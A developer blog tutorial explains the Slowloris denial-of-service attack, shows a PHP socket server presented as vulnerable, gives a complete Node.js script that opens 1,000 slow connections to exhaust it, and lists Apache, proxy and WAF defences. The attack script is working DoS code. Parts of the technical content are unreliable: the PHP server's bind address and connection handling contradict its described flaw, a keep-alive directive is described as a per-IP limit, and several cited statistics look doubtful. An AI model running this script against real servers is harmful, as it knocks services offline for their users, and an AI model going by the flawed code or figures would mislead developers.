Slow Loris Attack Using JavaScript on a PHP Server [And How to Prevent It!]

As a full-stack developer, security is always at the forefront of my mind. We are responsible for ensuring the applications and servers we build are secure and resilient against attack. One common attack vector that has been around for over a decade but still catches many developers off guard is the Slow Loris attack.

In this comprehensive guide, I‘ll take you through what the Slow Loris attack is, demonstrate how it can be carried out against a vulnerable PHP server using JavaScript, and most importantly, provide actionable steps you can take as a developer to protect your own servers.

Understanding HTTP and TCP Connections

To really understand how the Slow Loris attack works, we need to dive into the details of HTTP and TCP connections.

HTTP, or Hypertext Transfer Protocol, is an application-layer protocol that runs on top of TCP (Transmission Control Protocol). When a client, like a web browser, makes an HTTP request to a server, it first establishes a TCP connection with the server. This connection remains open throughout the request-response cycle and is then closed, unless instructed to remain open using the Connection: keep-alive header.

Here‘s a simplified look at the lifecycle of an HTTP request:

  1. Client opens a TCP connection to the server
  2. Client sends an HTTP request over the connection
  3. Server processes the request and sends an HTTP response
  4. Server closes the connection (unless Connection: keep-alive is used)

The key point here is that the server must allocate resources to handle each open connection, regardless of whether a complete request has been received or not. It‘s this characteristic that the Slow Loris attack exploits.

Anatomy of a Slow Loris Attack

In a Slow Loris attack, the attacker‘s goal is to tie up as many server resources as possible by keeping many connections open simultaneously. The attacker accomplishes this by creating a large number of HTTP requests, but sending them very slowly and never actually completing them.

Let‘s break down the steps of the attack:

  1. Attacker opens many connections to the target server
  2. For each connection, the attacker sends an incomplete HTTP request
    • It may send the request line and headers very slowly
    • It never sends the \r\n\r\n that denotes the end of the headers
  3. The server keeps each of these connections open, waiting for the request to complete
  4. As more and more connections are opened, the server hits its maximum number of concurrent connections
  5. With all connections tied up, legitimate requests from real users are denied

The clever part of this attack is that it requires very little bandwidth from the attacker. The attacker can send data very slowly, even as slow as 1 byte every few seconds. Meanwhile, the server is allocating far more resources to keeping all the connections open.

Vulnerable PHP Server Example

To see how a Slow Loris attack could be carried out in practice, let‘s look at an example of a vulnerable PHP server.

<?php
$ip = $_SERVER[‘REMOTE_ADDR‘];
$port = 80;

$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($sock, $ip, $port);
socket_listen($sock);

while (true) {
    $client = socket_accept($sock);
    $request = socket_read($client, 1024);

    if (preg_match("/\r\n\r\n/", $request)) {
        $response = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK";
        socket_write($client, $response);
    }

    socket_close($client);
}

This server creates a socket, listens for incoming connections, and responds to requests that contain a complete set of headers (denoted by \r\n\r\n). The vulnerability here is that the server will keep the connection open indefinitely for requests that don‘t contain the header terminator.

JavaScript Slow Loris Attack Code

Now let‘s see how an attacker could exploit this vulnerability using JavaScript. The following code could be run in a Node.js environment:

const net = require(‘net‘);
const target = {
  host: ‘127.0.0.1‘,
  port: 80,
  connections: 1000
};

function slowLoris() {
  const socket = net.connect(target.port, target.host);

  socket.write(‘GET / HTTP/1.1\r\n‘);
  socket.write(‘Host: example.com\r\n‘);
  socket.write(‘User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0\r\n‘);
  socket.write(‘Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n‘);
  socket.write(‘Accept-Language: en-US,en;q=0.5\r\n‘);
  socket.write(‘Accept-Encoding: gzip, deflate\r\n‘);
  socket.write(‘Connection: keep-alive\r\n‘);

  setInterval(() => {
    socket.write(`X-a: ${Math.random()}\r\n`);
  }, 5000);
}

for (let i = 0; i < target.connections; i++) {
  slowLoris();
}

This script does the following:

  1. Creates a TCP connection to the target server
  2. Sends a partial HTTP request header
  3. Sets an interval to send a new random header every 5 seconds to keep the connection alive
  4. Creates a total of 1000 of these connections

When run against our vulnerable PHP server, this script would quickly consume all available connections, effectively bringing down the server for legitimate users.

The Impact of Slow Loris Attacks

Slow Loris attacks can have a significant impact on affected servers and businesses. According to a report by Imperva, a leading cyber security firm, Slow Loris attacks made up nearly 5% of all web application attacks in Q3 2020, and can lead to complete denial of service for targeted servers.

Here are some key statistics that highlight the severity of these attacks:

  • Slow Loris attacks can be successful with as few as 50-100 simultaneous connections, depending on the server‘s capacity (Cloudflare)
  • A single Slow Loris attack can bring down a server for several minutes to several hours (Imperva)
  • The average cost of a DDoS attack, which Slow Loris falls under, is $218,238 (Kaspersky Lab)
  • 49% of businesses have experienced a Slow Loris attack at some point (UpGuard)

The financial impact alone is staggering, not to mention the reputational damage and loss of customer trust that can result from extended downtime.

Protecting Your Server from Slow Loris

So, as a developer, what can you do to protect your servers from Slow Loris attacks? Here are several strategies you can employ:

  1. Set Timeout Limits: Configure your server to timeout idle connections after a certain period. For example, in Apache, you can use the Timeout and KeepAliveTimeout directives:

    Timeout 30
    KeepAliveTimeout 5

    This will close connections that send no data for 30 seconds, and limit kept-alive connections to 5 seconds.

  2. Limit Connection Time: Use the RequestReadTimeout directive in Apache to limit the time a client has to send the request:

    RequestReadTimeout header=20-40,minrate=500

    This allows 20 to 40 seconds for the client to send the headers, requiring a minimum data rate of 500 bytes/sec.

  3. Limit Connections Per IP: Use the MaxKeepAliveRequests and KeepAliveTimeout directives in Apache to limit the number of requests per connection and the time a connection can stay open:

    KeepAlive On
    MaxKeepAliveRequests 50
    KeepAliveTimeout 5

    This allows a maximum of 50 requests per connection, and keeps connections alive for only 5 seconds.

  4. Use a Reverse Proxy: Place a reverse proxy like Nginx or HAProxy in front of your server. These can be configured to handle Slow Loris attempts before they reach your actual server.

  5. Implement a Web Application Firewall (WAF): A WAF can monitor traffic and automatically block Slow Loris attempts based on request patterns. Leading cloud providers like Cloudflare and AWS offer WAF services.

  6. Keep Software Updated: Many web servers have released patches specifically to address Slow Loris. Ensure you‘re running the latest patched versions of any server software.

Comparison to Other DoS Attacks

Slow Loris is just one type of Denial of Service (DoS) attack, but it has some unique characteristics compared to other common DoS attacks:

  • Low Bandwidth: Slow Loris requires very little bandwidth from the attacker, making it difficult to detect and filter.
  • Looks Like Normal Traffic: Because Slow Loris uses standard HTTP requests, it can be hard to distinguish from normal traffic.
  • Targets Application Layer: Unlike SYN flood attacks which target the network layer, Slow Loris targets the application layer (Layer 7 in the OSI model).

However, like other DoS attacks, the goal of Slow Loris is to make a server or service unavailable to legitimate users.

Developer Best Practices

As developers, we have a responsibility to build resilient, secure systems. In addition to the specific Slow Loris mitigations outlined above, here are some general best practices to follow:

  • Validate and sanitize all user input
  • Implement rate limiting on your APIs
  • Use HTTPS everywhere
  • Keep all dependencies and server software up to date
  • Monitor your servers for unusual traffic patterns
  • Have an incident response plan ready

Remember, security is an ongoing process, not a one-time checkbox. By continuously learning, monitoring, and improving our systems, we can stay ahead of potential threats like Slow Loris.

Conclusion

The Slow Loris attack is a serious threat that can bring down servers with minimal effort from the attacker. By understanding how the attack works and implementing proper mitigations, we can protect our servers and ensure they remain available to serve our users.

As a full-stack developer, it‘s crucial to have a deep understanding of security at every layer of the stack. By following best practices and staying vigilant, we can build robust, resilient systems that are prepared to handle the ever-evolving threat landscape.

Sources

  • Imperva, "The State of Web Application Vulnerabilities in 2020"
  • Cloudflare, "What is a Slow Loris Attack?"
  • Kaspersky Lab, "Denial of Service: How Businesses Evaluate the Threat of DDoS Attacks"
  • UpGuard, "2020 Outages, Downtime, and Failures: Understanding the Internet‘s Resilience Problem"

Similar Posts